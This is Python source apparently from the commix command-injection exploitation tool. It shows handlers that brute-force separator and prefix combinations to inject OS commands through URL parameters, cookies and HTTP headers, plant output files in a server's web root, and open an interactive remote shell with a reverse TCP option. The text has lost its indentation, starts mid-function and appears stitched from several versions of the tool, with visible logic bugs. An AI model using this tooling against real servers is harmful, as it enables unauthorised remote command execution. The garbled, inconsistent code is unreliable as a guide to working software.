cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
while True:
try:
# Tab compliter
readline.set_completer(menu.tab_completer)
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
return False
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
else:
pass
else:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell)
html_parser = HTMLParser.HTMLParser()
shell = html_parser.unescape(shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(url, filename):
classic_state = False
eval_based_state = False
time_based_state = False
file_based_state = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Do authentication if needed.
if menu.options.auth_url and menu.options.auth_data:
authentication.auth_process()
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + "(x) Error: You must specify both login panel URL and login parameters.\n" + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET or POST.
header_name = ""
if not menu.options.data:
http_request_method = "GET"
check_parameter = parameters.vuln_GET_param(url)
the_type = " parameter "
else:
http_request_method = "POST"
parameter = menu.options.data
check_parameter = parameters.vuln_POST_param(parameter, url)
the_type = " parameter "
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
the_type = " HTTP header "
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
check_parameter = ""
the_type = " HTTP header "
# Referer Injection
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
check_parameter = ""
the_type = " HTTP header "
else :
pass
if len(check_parameter) != 0 :
check_parameter = " '" + check_parameter + "'"
print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(url, delay)
# Check all injection techniques
if not menu.options.tech:
# Check if it is vulnerable to classic command injection technique.
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
classic_state = True
# Check if it is vulnerable to eval-based command injection technique.
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
eval_based_state = True
# Check if it is vulnerable to time-based blind command injection technique.
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
time_based_state = True
# Check if it is vulnerable to file-based semiblind command injection technique.
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
file_based_state = True
else:
# Check if it is vulnerable to classic command injection technique.
if "classic" in menu.options.tech or len(menu.options.tech) <= 4 and "c" in menu.options.tech:
# Check if classic results-based command injection technique succeeds.
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
classic_state = True
elif menu.options.tech == "classic":
cb_handler.exploitation(url, delay, filename, http_request_method)
else:
classic_state = False
# Check if it is vulnerable to eval-based command injection technique.
if "eval-based" in menu.options.tech or len(menu.options.tech) <= 4 and "e" in menu.options.tech:
# Check if eval-based command injection technique succeeds.
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
eval_based_state = True
elif menu.options.tech == "eval-based":
eb_handler.exploitation(url, delay, filename, http_request_method)
else:
eval_based_state = False
# Check if it is vulnerable to time-based blind command injection technique.
if "time-based" in menu.options.tech or len(menu.options.tech) <= 4 and "t" in menu.options.tech:
# Check if time-based blind command injection technique succeeds.
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
time_based_state = True
elif menu.options.tech == "time-based":
tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
else:
time_based_state = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if "file-based" in menu.options.tech or len(menu.options.tech) <= 4 and "f" in menu.options.tech:
# Check if file-based semiblind command injection technique succeeds.
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
file_based_state = True
elif menu.options.tech == "file-based":
fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
else:
file_based_state = False
if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False :
if http_request_method == "GET":
print Back.RED + "(x) The url '"+ url +"' appear to be not injectable." + Style.RESET_ALL
else:
print Back.RED + "(x) The '"+ parameter +"' parameter appear to be not injectable." + Style.RESET_ALL
else:
logs.logs_notification(filename)
sys.exit(0)
#eof
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not settings.LOAD_SESSION or settings.RETEST == True:
info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
print settings.print_info_msg(info_msg)
i = 0
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
# delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
elif e.getcode() == 403:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
if settings.VERBOSITY_LEVEL >= 1:
print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print "\n"
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
return False
elif os_shell_option == "quit":
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
def cb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "classic injection technique"
sys.stdout.write("(*) Testing the " + technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if separator == " ":
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload +
Style.RESET_ALL)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Evaluate test results.
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i * 100) / total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(percent) + "%"
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
http_request_method = "cookie"
found_vuln_parameter = vuln_parameter
else:
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ") '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "' parameter is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
cb_enumeration.do_check(separator, TAG, prefix, suffix,
whitespace,
http_request_method, url,
vuln_parameter, alter_shell)
# Check for any system file access options.
cb_file_access.do_check(separator, TAG, prefix, suffix,
whitespace,
http_request_method, url,
vuln_parameter, alter_shell)
# Pseudo-Terminal shell
while True:
gotshell = raw_input(
"\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
logs.logs_notification(filename)
sys.exit(0)
else:
# Command execution results.
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell)
